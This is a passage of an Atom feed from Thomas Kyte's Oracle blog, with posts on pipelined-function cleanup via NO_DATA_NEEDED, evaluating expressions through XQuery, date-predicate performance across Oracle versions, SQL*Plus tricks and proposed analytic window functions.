table(generate_data(2))&lt;br /&gt; 3   where rownum = 1;&lt;br /&gt;&lt;br /&gt;COLUMN_VALUE&lt;br /&gt;------------&lt;br /&gt;          1&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; INITIALIZE&lt;br /&gt;===&gt;&gt;&gt; PROCESS&lt;br /&gt;SQL&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;As you can see – we did the initialize and one process bit of our code, but the rest – it was just skipped over, because the invoking SQL statement did not need it.  We didn’t see any error (we would expect an unhandled exception to raise an error!), it just appears to have worked.&lt;br /&gt;&lt;br /&gt;There was however, an exception raised – an exception that does not have to be caught. It will be ignored entirely if it is not caught.  It differs from every other exception in that regard – we would expect an unhandled exception to propagate to the client and appear as “an error”.  Lets see what happens with out code if we implement this error handler:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; create or replace function&lt;br /&gt; 2  generate_data( n in number )&lt;br /&gt; 3  return sys.odciNumberList&lt;br /&gt; 4  PIPELINED&lt;br /&gt; 5  as&lt;br /&gt; 6  begin&lt;br /&gt; 7      dbms_output.put_line&lt;br /&gt; 8      ( '===&gt;&gt;&gt; INITIALIZE' );&lt;br /&gt; 9      for i in 1..generate_data.n&lt;br /&gt;10      loop&lt;br /&gt;11          dbms_output.put_line&lt;br /&gt;12          ( '===&gt;&gt;&gt; PROCESS' );&lt;br /&gt;13          pipe row(i);&lt;br /&gt;14      end loop;&lt;br /&gt;15      dbms_output.put_line&lt;br /&gt;16      ( '===&gt;&gt;&gt; CLEAN UP' );&lt;br /&gt;17      return;&lt;br /&gt;18  exception&lt;br /&gt;19      when no_data_needed&lt;br /&gt;20      then&lt;br /&gt;21          dbms_output.put_line&lt;br /&gt;22          ( '***&gt;&gt;&gt; CLEAN UP' );&lt;br /&gt;23          return;&lt;br /&gt;24  end;&lt;br /&gt;25  /&lt;br /&gt;&lt;br /&gt;Function created.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;On line 19 we catch the predefined exception NO_DATA_NEEDED and on line 21 announce that we are cleaning up (releasing any resources that need be released).  Now when we run this pipelined function without exhausting it we see:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;SQL&gt; select *&lt;br /&gt; 2    from table(generate_data(2))&lt;br /&gt; 3   where rownum = 1;&lt;br /&gt;&lt;br /&gt;COLUMN_VALUE&lt;br /&gt;------------&lt;br /&gt;          1&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; INITIALIZE&lt;br /&gt;===&gt;&gt;&gt; PROCESS&lt;br /&gt;***&gt;&gt;&gt; CLEAN UP&lt;br /&gt;SQL&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;As you can see – our special cleanup code (we used ***&gt;&gt;&gt; to announce it) was executed and we could clean up any resources we allocated.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3082092302846617038?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3082092302846617038/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3082092302846617038' title='22 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3082092302846617038'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3082092302846617038'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/nodataneeded-something-i-learned.html' title='NO_DATA_NEEDED - something I learned recently'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>22</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-3783776640516573643</id><published>2010-04-17T10:19:00.003-04:00</published><updated>2010-04-17T10:20:24.378-04:00</updated><title type='text'>What I learned today :)</title><content type='html'>That I grew my beard for a reason.&lt;br /&gt;&lt;br /&gt;I am apparently &lt;a href="http://chronicle.com/blogPost/The-Trustworthiness-of-Beards/22581/"&gt;more trustworthy&lt;/a&gt; looking simply because of it.&lt;br /&gt;&lt;br /&gt;And here I thought I was doing it to save money on razors.  Good side effects are always nice.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3783776640516573643?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3783776640516573643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3783776640516573643' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3783776640516573643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3783776640516573643'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/what-i-learned-today.html' title='What I learned today :)'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7938529826405213637</id><published>2010-04-16T11:11:00.003-04:00</published><updated>2010-04-16T11:17:19.481-04:00</updated><title type='text'>Never Imagined...</title><content type='html'>I never imagined that I would have to cancel a seminar, because of....&lt;br /&gt;&lt;br /&gt;A &lt;a href="http://www.huliq.com/3257/92736/airports-help-stranded-passengers-volcanic-disruption-continues"&gt;volcano&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I was supposed to be in Hungary for a two day seminar Monday and Tuesday - which I had to cancel since the airlines told me the earliest I would be able to leave for Europe would be .... Tuesday night!&lt;br /&gt;&lt;br /&gt;I also had to cancel a planned in person appearance at the Bulgaria Oracle User Group - we are going to try to make it a 'virtual' appearance for some technical sessions if possible.  That'll take place next Friday the 23rd.&lt;br /&gt;&lt;br /&gt;So, to anyone that was signed up for the seminar in Budapest - I apologize, but there is no way to get there from here right now.  We'll be looking for a reschedule date now...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7938529826405213637?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7938529826405213637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7938529826405213637' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7938529826405213637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7938529826405213637'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/never-imagined.html' title='Never Imagined...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5727278878054477947</id><published>2010-04-16T10:47:00.004-04:00</published><updated>2010-04-17T10:18:42.275-04:00</updated><title type='text'>Evaluating an expression, like a calculator...</title><content type='html'>Today, I learned a new 11g Release 1 and above 'trick' that I wasn't aware of.  This is pretty cool.&lt;br /&gt;&lt;br /&gt;A frequently asked question in the past has been:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;I have a string, with some calculation in it - like "1+2/3".  I would like to evaluate that string and get the result.  How do I do that.&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Historically - the answer has been "dynamic SQL, but please be careful to not flood the shared pool with tons of literal SQL and be really careful about SQL Injection!"&lt;br /&gt;&lt;br /&gt;Now, I learned a new way.  It came from &lt;a href="http://apex.oracle.com/pls/apex/f?p=100:232:3706063108087003::NO::P232_REVIEWID,P232_PREV_PAGE:2561105200346218245,230&amp;amp;s=Y"&gt;this post&lt;/a&gt;, thanks to the frequent asktom poster "Sokrates"&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; select * from v$version;&lt;br /&gt;&lt;br /&gt;BANNER&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production&lt;br /&gt;PL/SQL Release 11.1.0.7.0 - Production&lt;br /&gt;CORE    11.1.0.7.0      Production&lt;br /&gt;TNS for Linux: Version 11.1.0.7.0 - Production&lt;br /&gt;NLSRTL Version 11.1.0.7.0 - Production&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; variable x varchar2(40)&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec :x := '55+42*123/3'&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; select xmlquery(replace( :x, '/', ' div ' ) &lt;br /&gt;                            returning content ) .getNumberVal()&lt;br /&gt;2    from dual&lt;br /&gt;3  /&lt;br /&gt;&lt;br /&gt;XMLQUERY(REPLACE(:X,'/','DIV')RETURNINGCONTENT).GETNUMBERVAL()&lt;br /&gt;--------------------------------------------------------------&lt;br /&gt;                                                      1777&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It works for very very simple expressions - XQuery arithmetic expressions are very simple.  They support +, -, *, div, idiv (integer division), and mod&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; exec :x := '(55+42-124) idiv 3 div 2 mod 5*2'&lt;br /&gt;&lt;br /&gt;PL/SQL procedure successfully completed.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA11GR1&gt; /&lt;br /&gt;&lt;br /&gt;XMLQUERY(REPLACE(:X,'/','DIV')RETURNINGCONTENT).GETNUMBERVAL()&lt;br /&gt;--------------------------------------------------------------&lt;br /&gt;                                                         -9&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;See &lt;a href="http://www.xquery.com/tutorials/guided-tour/xquery-operators.html"&gt;http://www.xquery.com/tutorials/guided-tour/xquery-operators.html&lt;/a&gt; for a guided tour of what you can do.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5727278878054477947?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5727278878054477947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5727278878054477947' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5727278878054477947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5727278878054477947'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/evaluating-expression-like-calculator.html' title='Evaluating an expression, like a calculator...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6617700086912621186</id><published>2010-04-15T11:27:00.004-04:00</published><updated>2010-04-15T13:58:10.921-04:00</updated><title type='text'>to_char(dt,'yyyy') is almost as good as trunc(dt,'y')...</title><content type='html'>I'm in the middle of updating Expert Oracle Database Architecture Edition 1 to Edition 2.  It'll cover up through Oracle Database 11g Release 2.  While doing it, I've been discovering that "things change over time".  Well, Ok, that is not a new discovery - I've said that before...&lt;br /&gt;&lt;br /&gt;If you are interested in the new edition, you can read the unedited, probably incorrect, updates - you can buy the "alpha book" in pdf, which will entitle you to a full pdf of the final copy.  See &lt;a href="http://apress.com/book/view/1430229462"&gt;http://apress.com/book/view/1430229462&lt;/a&gt; for details.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Anyway, while updating the book - I was re-running all of my 'test' scripts - the scripts I use to demonstrate points - and of course since things change - the results of some of the scripts have changed as well.  Things like private redo strands affected my measurements in the Redo/Undo chapter (rendering some of the old examples useless...).  And other small changes pop up and make themselves apparent.&lt;br /&gt;&lt;br /&gt;For example, to_char(dt,fmt) has changed, for the better. It is faster...&lt;br /&gt;&lt;br /&gt;In the first edition, I wrote:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;For example, they will use&lt;br /&gt;Where to_char(date_column,'yyyy') = '2005'&lt;br /&gt;instead of&lt;br /&gt;Where trunc(date_column,'y') = to_date('01-jan-2005','dd-mon-yyyy')&lt;br /&gt;The latter is a &lt;span style="font-weight: bold;"&gt;far more performant and less resource-intensive approach&lt;/span&gt;. &lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Note: in the following - you would not use literals in the query, you would use bind variables to represent the dates!  Just an example...&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;While I would still *prefer* you to use trunc(date_column'y') - it says so much more than the to_char does semantically - it cannot be for the reason I wrote.  In the first edition - I showed by executing a query against a copy of ALL_OBJECTS that it was more efficient:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;select count(*)&lt;br /&gt;from&lt;br /&gt;t where to_char(created,'yyyy') = '2005'&lt;br /&gt;                                                                                   &lt;br /&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;Parse        4      0.01       0.05          0          0          0           0&lt;br /&gt;Execute      4      0.00       0.00          0          0          0           0&lt;br /&gt;Fetch        8      0.41       0.59          0        372          0           4&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;total       16      0.42       0.64          0        372          0           4&lt;br /&gt;                         &lt;br /&gt;select count(*)&lt;br /&gt;from&lt;br /&gt;t where trunc(created,'y') = to_date('01-jan-2005','dd-mon-yyyy')&lt;br /&gt;                     &lt;br /&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;Parse        4      0.00       0.00          0          0          0           0&lt;br /&gt;Execute      4      0.00       0.00          0          0          0           0&lt;br /&gt;Fetch        8      0.04       0.16          0        372          0           4&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;total       16      0.04       0.16          0        372          0           4&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;but when I re-ran that in 11g Release two - I discovered:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;select count(*)&lt;br /&gt;from&lt;br /&gt;t where to_char(created,'yyyy') = '2005'&lt;br /&gt;&lt;br /&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;Parse        4      0.00       0.00          0          0          0           0&lt;br /&gt;Execute      4      0.00       0.00          0          0          0           0&lt;br /&gt;Fetch        8      0.09       0.10          0        364          0           4&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;total       16      0.09       0.10          0        364          0           4&lt;br /&gt;&lt;br /&gt;select count(*)&lt;br /&gt;from&lt;br /&gt;t where trunc(created,'y') = to_date('01-jan-2005','dd-mon-yyyy')&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;Parse        4      0.00       0.00          0          0          0           0&lt;br /&gt;Execute      4      0.00       0.00          0          0          0           0&lt;br /&gt;Fetch        8      0.07       0.07          0        364          0           4&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;total       16      0.07       0.07          0        364          0           4&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;*note - I used the same number of rows in 11g as 10g in the above&lt;br /&gt;&lt;br /&gt;Well, that isn't too different anymore, is it?  They made it a bit more efficient than it used to be in the past - the to_char and trunc are now about the same.  In fact that change happened with 10g Release 2! (edition 1 of Expert Oracle Database Architecture was up through 10g Release 1)&lt;br /&gt;&lt;br /&gt;Fortunately though, my ultimate conclusion - that:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;select count(*)&lt;br /&gt;from&lt;br /&gt;t where created between to_date('01-jan-2005','dd-mon-yyyy') and&lt;br /&gt;to_date('01-jan-2006', 'dd-mon-yyyy')-1/24/60/60&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;call     count       cpu    elapsed       disk      query    current        rows&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;Parse        4      0.00       0.00          0          0          0           0&lt;br /&gt;Execute      4      0.00       0.00          0          0          0           0&lt;br /&gt;Fetch        8      0.00       0.00          0        364          0           4&lt;br /&gt;------- ------  -------- ---------- ---------- ---------- ----------  ----------&lt;br /&gt;total       16      0.00       0.00          0        364          0           4&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;is the &lt;span style="font-weight: bold;"&gt;right way &lt;/span&gt;to code that query still stands - that is from 11g Release 2 - it is significantly faster than to_char or trunc.  And, it'll be infinitely more "index friendly" in general that either of to_char or trunc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, things change - the tuning advice of yesterday might well be meaningless or - at least less meaningful - today...&lt;br /&gt;&lt;br /&gt;Glad I have my test scripts :)  It would be much harder to update the book without them - I wouldn't have a big red flag staring at me in the face without them.&lt;br /&gt;&lt;br /&gt;That is how today's myths get started - most of the myths surrounding the database have their origins in some nugget of truth from the past.  But unless you have some method of seeing when things change - it'll be hard to figure out what's changed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6617700086912621186?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6617700086912621186/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6617700086912621186' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6617700086912621186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6617700086912621186'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/tochardtyyyy-is-almost-as-good-as.html' title='to_char(dt,&apos;yyyy&apos;) is almost as good as trunc(dt,&apos;y&apos;)...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2659785192466411084</id><published>2010-04-14T16:59:00.002-04:00</published><updated>2010-04-14T17:03:18.038-04:00</updated><title type='text'>Been a while - new theme coming...</title><content type='html'>Been a while since I've written here.  I've decided to start posting again from time to time, but I'm going to follow a theme for a while.&lt;br /&gt;&lt;br /&gt;The theme will be "I didn't know that..." - or "What I learned new today..."&lt;br /&gt;&lt;br /&gt;I am constantly amazed as what I don't know - given that I've been using Oracle for 23 years now - you might think that would be a small set of things.  It isn't, it is quite large.&lt;br /&gt;&lt;br /&gt;Here is one thing I learned new today.  It is about SQL*Plus.  A pretty simple tool, been using it for a long long long time.  Been using it since it was an &lt;span style="font-style: italic;"&gt;extra cost option&lt;/span&gt; to the database!&lt;br /&gt;&lt;br /&gt;Anyway, did you know that you could put @file into a SQL command?&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; !cat test.sql&lt;br /&gt;select * from dual;&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; explain plan for&lt;br /&gt; 2  @test&lt;br /&gt;&lt;br /&gt;Explained.&lt;br /&gt;&lt;br /&gt;ops$tkyte%ORA10GR2&gt; l&lt;br /&gt; 1  explain plan for&lt;br /&gt; 2* select * from dual&lt;br /&gt;ops$tkyte%ORA10GR2&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Neat - I did not know that.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I have more, I'll let them leak out day by day (or so)...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2659785192466411084?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2659785192466411084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2659785192466411084' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2659785192466411084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2659785192466411084'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/04/been-while-new-theme-coming.html' title='Been a while - new theme coming...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8951931982377321193</id><published>2009-12-07T08:08:00.002-05:00</published><updated>2009-12-07T08:11:19.268-05:00</updated><title type='text'>A fairly unique opportunity...</title><content type='html'>CJ Date will be &lt;a href="http://method-r.com/education/107-cj-date-course"&gt;giving a seminar&lt;/a&gt; in Dallas Texas next month.  I wish I could get to it myself - but I'm already fully committed that week.&lt;br /&gt;&lt;br /&gt;Maybe we can get the answer to &lt;a href="http://tkyte.blogspot.com/2009/10/use-null-for-unknonw-data.html"&gt;using NULLs&lt;/a&gt;.  Or at least some more input :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8951931982377321193?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8951931982377321193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8951931982377321193' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8951931982377321193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8951931982377321193'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/12/fairly-unique-opportunity.html' title='A fairly unique opportunity...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7214592348911104456</id><published>2009-11-15T08:42:00.003-05:00</published><updated>2009-11-15T13:01:08.346-05:00</updated><title type='text'>Comparative Window Functions...</title><content type='html'>I've been known as a huge fan of Analytic functions (as evidenced by the &lt;a href="http://asktom.oracle.com/pls/asktom/asktom.search?p_string=%22analytics+rock+and+roll%22"&gt;Rock and Roll&lt;/a&gt; linkability!)&lt;br /&gt;&lt;br /&gt;And - they could be getting better in the near future.  Read &lt;a href="http://asktom.oracle.com/pls/asktom/z?p_url=ASKTOM%2Edownload_file%3Fp_file%3D7575682831744048130&amp;amp;p_cat=comparative_window_fns_proposal.pdf&amp;amp;p_company=822925097021874"&gt;this document&lt;/a&gt; for a proposal to allow analytics to access the current row value to be compared against any other row value in a defined window.&lt;br /&gt;&lt;br /&gt;I've already supplied them with my feedback (which started with "this is an awesome idea") - and you can too - by posting it here.  They'll be checking back to see what you say.&lt;br /&gt;&lt;br /&gt;Also, this is being proposed as well:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;Another window function extension, not contained in the attached proposal, is the notion of VALUE based windows. Currently, we&lt;/span&gt; &lt;span style="font-style: italic;"&gt;have ROW based (or physical) and RANGE based (logical) windows. RANGE window has limitation in that there can only be one &lt;/span&gt;&lt;span style="font-style: italic;"&gt;sort key in window ORDER BY. On the other hand, ROW based window is agnostic to column value and can be non-deterministic.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The new VALUE based window allows one to include all rows with "n" values before or after the current row's value. For example,&lt;/span&gt; &lt;span style="font-style: italic;"&gt;VALUE 2 PRECEDING and 3 FOLLOWING would include all rows with 2 values that are prior to current row's value and all rows with &lt;/span&gt;&lt;span style="font-style: italic;"&gt;3 values that come after the current row's value in sort order.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;ticker    txndate      volume&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       1              10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       2              10 &lt;--------------------------- start of window for (orcl,6,12)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       2              11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       2              11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       3              11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       6              12  &lt;=== assume this is current row&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       7              12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       11            11&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       11            12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       11            12&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: courier new;"&gt;orcl       13            11  &lt;------------------------- end of window for (orcl,6,12)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Similar RANGE window would have rows [orcl,6,12] through [orcl,7,12]. Similar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ROW window would include rows [orcl,3,1] through [orcl,11,11].&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The VALUE based window would find usefulness when there are gaps in the dataset. For example, a query like "find the intra-day&lt;/span&gt; &lt;span style="font-style: italic;"&gt;maximum for a stock in the past three trading days". Today, to do 